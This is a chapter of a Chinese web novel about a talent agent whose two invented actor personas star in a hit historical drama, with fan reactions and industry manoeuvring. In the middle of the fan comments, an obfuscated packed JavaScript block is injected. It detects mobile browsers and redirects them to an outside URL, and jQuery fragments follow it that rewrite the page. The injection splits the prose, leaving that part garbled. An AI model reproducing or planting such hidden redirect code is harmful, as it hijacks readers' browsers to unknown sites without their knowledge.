宁宵逗完小莹，回到家怀着好笑的心情，好奇地查了一下，她还以为就这种糊豆CP，估计搜也要换好几个关键词搜呢，结果在下去的热搜词条下面，居然还有一个几百人的群组，超话都建起来了。
宁宵：蒸煮震惊！
但震惊之后，她的经纪人属性又开始蠢蠢欲动，CP经济成本小，回收大名不虚传，这么小的杠杆，居然就撬动了娱乐圈的冰山一角，那她要不要……
算了算了。
还是姚玉的宁宵猛地摇头，CP营业最怕用力过头了，而且她这两个CP可都是不能同框的，到时候要是闹出笑话就不好了，还是徐徐图之，徐徐图之。
虽然她很想让姚玉马甲回家，好好睡一觉，换自己本来面目来见人，但因为舆论曝光的原因，现在她住的地方已经不安全了，祝郢和“宁宵”齐齐躺在那，姚玉只能在附近开了个房，跟个狗仔似的拿着望远镜蹲守，希望那边的人走完。
但是直到休息时间结束，那些吃火腿肠的狗仔也没有挪动一下，姚玉只能望洋兴叹，怀着满腹遗憾回剧组拍程樾的重头戏，也是后期这个角色的高光，打仗了。
导演和编剧红光满面。这些日子他们可以说是志得意满，先是签的男主角，不仅有话题度，进组之后演技也肉眼可见地提上来了，就说这个被换来搪塞他们（他们之前确实是如此以为，毕竟不管事实如何，他们就是被胡璇儿的团队放弃了，置换成一个更好的资源了）的女主。
演技居然都很灵光！
她看起来就是一副不会演戏的样子，因为大青衣的长相显得大气明媚，所以看人时也真诚，好像让你看到灵魂和皮囊也是一样敞亮的感觉。
这点多少限制了观众入戏。
但实际上确实，姚玉一开始演的时候也有些不协调，但之后很快就习惯剧组的走戏和拍摄节奏，甚至学会自己调整来适配剧组了！
这个提升速度，比祝郢祝老师还快！
他们的两个主角都是可造之材啊！
让现在电视剧的观众来品评可能会觉得很夸张，但作为一个经常和剧组、制作方打交道的经纪人宁宵来说，她完全能get到剧组的惊喜在哪里。
正常，太正常了。
不轧戏，不用替身，不需要场外提示台词就算了，他们居然还会自己留在剧组磨练演技，觉得哪条不好会主动提出再拍一条。
别看他们只是新人，但是连续几部剧都是和娱乐圈新兴顶流合作，即使是胡璇儿那种口碑很好的艺人，还是新人小花，都会提出改剧本的需求，但是姚老师和祝老师，完全没有！！
他们的心情，就像是完全奔着这部戏得拍好去的，就连话题度很高的祝老师，这些天编剧试探要不要补拍一些高光戏（毕竟人家现在有流量了），祝郢思考之后还是温声拒绝了。
因为他说：“我相信《程樾传》是一个有严谨度的剧组，有自己的考量。”而且他也说，相信他们能制作出精品剧！
他们何德何能哇！
但是说真的，艺人不搞事，不改剧本不加戏，那他们就多出很多时间雕琢剧本，雕琢镜头了，而且姚玉和祝郢都是出了名的便宜，导演和柳轻这个周扒皮都拍板，抬高了后期制作的预算……
后期拍完的时候，柳轻还找宁宵感叹：“这个时候能签到像你手下那么踏实的艺人不容易啊。”
这可不是么，深受艺人不靠谱荼毒的宁宵只是露出一个谦虚的微笑，其实她心里也在想，不不不，就是因为她知道艺人有多能作妖，她的艺人马甲才如此正常！
毕竟她马甲要是作妖，烂摊子可不摊到自己身上了么！
拍完整个《程樾传》宁宵也学习到很多，首先量化的就是演技的提升，拍打戏的时候宁宵都可以不用替身了，因为姚玉的身体已经记住了，不枉她花三百情绪币买了个武学奇才服务！
其余的演技她也是自己实打实一点磨的，祝雾灯走了，她反而有一种在别的业务方面充实起来的感觉了。
不过他果然还是不会轻易阴魂不散的，果然《程樾传》空降猕猴桃平台，一周前开始线上宣传的时候，约好的媒体又开始在提问中搞事——虽然宁宵知道这可能是剧组安排的，毕竟没有流量没有新意点，只能靠炒作搏话题度了——
“请问姚老师，今天《程樾传》的男主角饰演者祝郢没来，是对祝雾灯此前，指出男主削弱太严重一事的印证吗？”
宁宵暗笑。
果然和她想得一样。
东风娱乐是如今娱乐圈的大头，占据娱乐圈的半壁江山，近来式微也卯足了劲儿要营销出宝刀不老的样子，这也是可预见的事。
可是东风要吹祝雾灯是摇钱树，自己是伯乐看中了这头千里马，也要娱乐圈其他公司愿意啊！
你说你慧眼识珠，流量就全被你吸走了？真让你营销起了这段慧眼识珠的佳话，那其他公司不活了呗？
所以啊，索性《程樾传》和祝雾灯撕破了脸，干脆线上宣传会时也踩他们一下，这句话明着在说《程樾传》不重视男主，其实暗地里是在说，粉丝你们可别忘了嘿，这个男的看不起BG，拉踩谢听风，而且没有担当！
被骂了这么多天也不敢道歉一声，没把小说圈粉丝和言情粉丝放在眼里！
果不其然姚玉不痛不痒地回答了一下，第二天这个宣传会现场就上热搜了，《程樾传》借势宣传了定档时间，蹭了好大一波热度。
祝雾灯从拒演以来就没蹭到正面流量，私底下都快气疯了，他和咬牙签下了他的东风娱乐都是偷鸡不成蚀把米，关键是现在还只有眼睁睁看着《程樾传》踩着他们营销的份儿。
因为只有粉丝坚信祝雾灯是被陷害的，其他路人已经反感到看到一点有洗白迹象的通稿就破口大骂了，他们团队只能按捺住心焦等！
在这种心焦之中，《程樾传》就这样如期开播了，没有长线制作，所以上线很快，而且开拍开播期间风波不断，所以来看热闹的人还挺多的。
在这波热闹中，导演发挥了他超乎其神的剪辑水平，把男主和女主的高光片段剪到了最开头，然后唰——
来看热闹的观众本来只是闲得无聊，一开头被两张盛世美颜炸了一下，一下子就突然想看了！
宁宵得意：说她的马甲别的没有，脸还是能打的，而且她常年在片场，可是考虑过镜头对人脸的变形能力的，所以捏的时候谨慎谨慎再谨慎，拍的时候也挥霍挥霍再挥霍，差点没把那点情绪币全加仪态和气质上。
所以呈现出来的效果就是甭管演技如何，第一眼绝对够惊艳，而且台词居然不配音，不模糊，不吞字，不棒读：
好家伙，虽然不是那种一上来就震撼人心，也不是生活化到没有痕迹的演技，但至少不出戏啊！很自然，而且也有一种新人美啊！
太养眼了，又清新，追了！
所以对这部戏都没有什么很高期望的剧组和制作方都收到了一个超出他们预期的成绩：集均四千万，比猕猴桃之前一部S制作的仙侠还高！
我靠，居然不是跌破底盘！也不是第一集注水高，后面现原形，而是一路走高！
因为看过的自来水都在说：
【妈妈，姚玉的脸真的好抗打（流泪）】
【好久没在内娱看到这么妈生自然的滤镜了，终于是又漂亮又有质感，是活人的一张脸了QAQ】
【新人第一部戏真的挺不错的，有人赞同我吗？】
【谁懂啊，冲着第四集的男主来的，结果被女主圈粉了，这个演技真的好灵啊！大青衣脸居然还能演少女，而且聪慧坚毅果敢，穷得人都能看下去！】
【确实，穷但是感觉该燃的地方燃，该温情的地方温情，目前没有用惯了的脸，也不会审美疲劳，就是感情戏……好少啊……导演组你们是不是把感情线删了啊？？】
【拿到了通告单，好像男女主都没有在一起拍过】<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318186|167347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>【？？虽然是大女主但是原著很好的感情线也不能一点没有啊，而且他们脸这么有夫妻相！在一起真的很配好吗！】
【（截图）（截图）看的过程一直疯狂截，你看这个眉眼对比，真的感觉像是一个人！已经调理好了，没有太多感情戏我也能磕】
结果当天下午更新第六集，谢听风和程樾的第一次会面，风吹动两个人的衣角，镜头拍拍你，又换到我，再换到你，两个人眉眼走势一致，神情一致，相互一笑之间有种别人插不进去的温馨平和，弹幕忽然就：
【啊啊啊啊啊！！】
【我愿称之为内娱的灵魂镜头！！】
【谁懂啊，就这个相视一笑我居然看出了CP感！】
宁宵很心虚，谁让她一个人拍了两个人的表情呢，那不相似，不默契，没有“灵魂共振”才是见了鬼了。
但是不论如何，从开拍被男主拒演，到后面集均甚至走上五千万，《程樾传》打了个漂亮的翻身仗，至少没有大扑特扑，而且在古偶转凉的现偶季，也算是横空而出了，宁宵的马甲姚玉火了！
而祝郢虽然也火了，但他现在在校内处理他的研究项目，所以暂时不接受采访也隔绝了那些喧嚣。
宁宵给柳轻打电话，笑：“怎么样柳姐，我劝你催着过审快点上线没劝错吧，《程樾传》本来底子不错，您完全不用那么焦虑！”
柳轻也笑得合不拢嘴，如果是之前胡璇儿出演那版分成，他们自然是赚得不多约等于亏，但是新人进组后合同改了，资方减资但要求也变少了，等于一部S制作，降级了变成了略低成本的古偶，那这个成绩就可以说分外亮眼了！甚至远超了平台放走胡璇儿后的预期！
对这个结果柳轻自然不会自讨没趣去找程青聊，但她也知道宁宵在这里面肯定是出了不少力的，她花这么大功夫，不就是为了保住谢听风这个角色，顺便防止祝雾灯背刺她之后还要把她踩进泥里么？
所以她也笑：“明人不说暗话，宁宵，说吧，你帮我这么大一个忙——”
“唉，柳姐，这是我们一起的项目，说什么帮不帮？再说了，帮您就是帮我自己。我没什么不满意的，不然不就成了白眼狼了。”
柳轻笑：“你想不想换公司？我这刚好有个人脉。”
宁宵手指微动，嘴上却不松口，微笑说：“我也想，可这不是违约金在那卡着。”
柳轻很爽快：“我也是帮人递话，违约金不急，你就欠着在那慢慢还，但是两个艺人必须带过来。”
宁宵就知道是这样，娱乐圈小说里经常有谁谁谁帮谁交了违约金然后一笔勾销的做法，但那是顶流级别的艺人，在两个公司间拉扯才有可能的做法，她只是一个小小的经纪人，竞业协议都是签了的，公司哪那么蠢给一个无投资价值品掏钱。
但如果让她带艺人就不一样了。
宁宵有心理准备，但还是说道：“祝郢那边……”
柳轻哼笑：“你让他辞职呗，宁经纪，你也不用和我说虚话，一部戏都拍了，零片酬也签了，签个经济约，有那么为难？”
虽然宁宵自己不把马甲当人，但是听到柳轻这么说还是心底不适，不过她也明白，自己确实是没什么价值（主要之前价值都被祝雾灯作光了），她唯一的筹码就是祝郢和姚玉，是她签的。
如果他们把祝郢和姚玉签走，那她也可以说是被踩到泥里一文不值了，别说，还可以给祝雾灯卖个好呢。别怀疑这个圈子里的捧高踩低。
有时间因为这里资本流动得更快反而更真实更迅速。
宁宵没多犹豫：“我考虑考虑。”
其实这话就是，她答应这个条件了，会往这个方向去努力。柳轻笑了笑，挂了电话和拜托她这事儿的人回电话。
宁宵半夜坐起来，越想越气，注册了个小号，榨取一下宵隐CP的情绪价值：
【受不了了，我听说祝要辞职了？】
CP粉：？